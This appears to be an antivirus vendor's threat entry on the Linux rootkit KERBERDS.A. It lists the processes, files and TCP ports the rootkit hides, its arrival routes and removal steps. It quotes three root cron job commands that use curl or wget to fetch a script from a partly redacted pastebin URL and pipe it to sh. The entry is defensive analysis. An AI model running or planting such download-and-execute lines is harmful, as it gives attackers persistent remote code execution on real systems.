Rootkit.Linux.KERBERDS.A

 Analysis by: Jemimah Mae Molina

 ALIASES:

HEUR:Rootkit.Linux.Processhider.b (KASPERSKY)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Rootkit

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Rootkit arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be dropped by other malware.

  TECHNICAL DETAILS

File Size:

26,208 bytes

File Type:

ELF

Memory Resident:

Yes

Initial Samples Received Date:

29 Apr 2019

Payload:

Hides files and processes

Arrival Details

This Rootkit arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be dropped by the following malware:

Other Details

This Rootkit does the following:

  • It is used by Trojan.Linux.KERBERDS.A for its rootkit capabilities.
  • It displays a fake instance of the CPU usage.
  • It hides processes with the following names:
    • khugepageds
    • kerberods
  • It hides files with names containing any of the following strings:
    • khugepageds
    • ld.so.preload
    • {rootkit file name}
  • It hides TCP connections which satisfy any of the following conditions:
    • Local TCP port = 51640
    • Remote TCP port = 51640
    • Remote TCP port = 6379
  • It connects to the following URL(s) to download and execute another shell script:
    • https://{BLOCKED}in.com/raw/wtCwquiX
  • It creates the following cron jobs to enable automatic execution of a shell script found in pastebin:
    • Path: /etc/cron.d/root
      Schedule: Every 10 minutes
      Command: */10 * * * * root (curl -fsSL https://{BLOCKED}in.com/raw/wtCwquiX||wget -q -O- https://{BLOCKED}in.com/raw/wtCwquiX)|sh
    • Path: /var/spool/cron/root
      Schedule: Every 15 minutes
      Command: */15 * * * * (curl -fsSL https://{BLOCKED}in.com/raw/wtCwquiX||wget -q -O- https://{BLOCKED}in.com/raw/wtCwquiX)|sh
    • Path: /var/spool/cron/crontabs/root
      Schedule: Every 30 minutes
      Command: */30 * * * * (curl -fsSL https://{BLOCKED}in.com/raw/wtCwquiX||wget -q -O- https://{BLOCKED}in.com/raw/wtCwquiX)|sh

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.970.03

FIRST VSAPI PATTERN DATE:

30 Apr 2019

VSAPI OPR PATTERN File:

14.971.00

VSAPI OPR PATTERN Date:

01 May 2019

Scan your computer with your Trend Micro product to delete files detected as Rootkit.Linux.KERBERDS.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.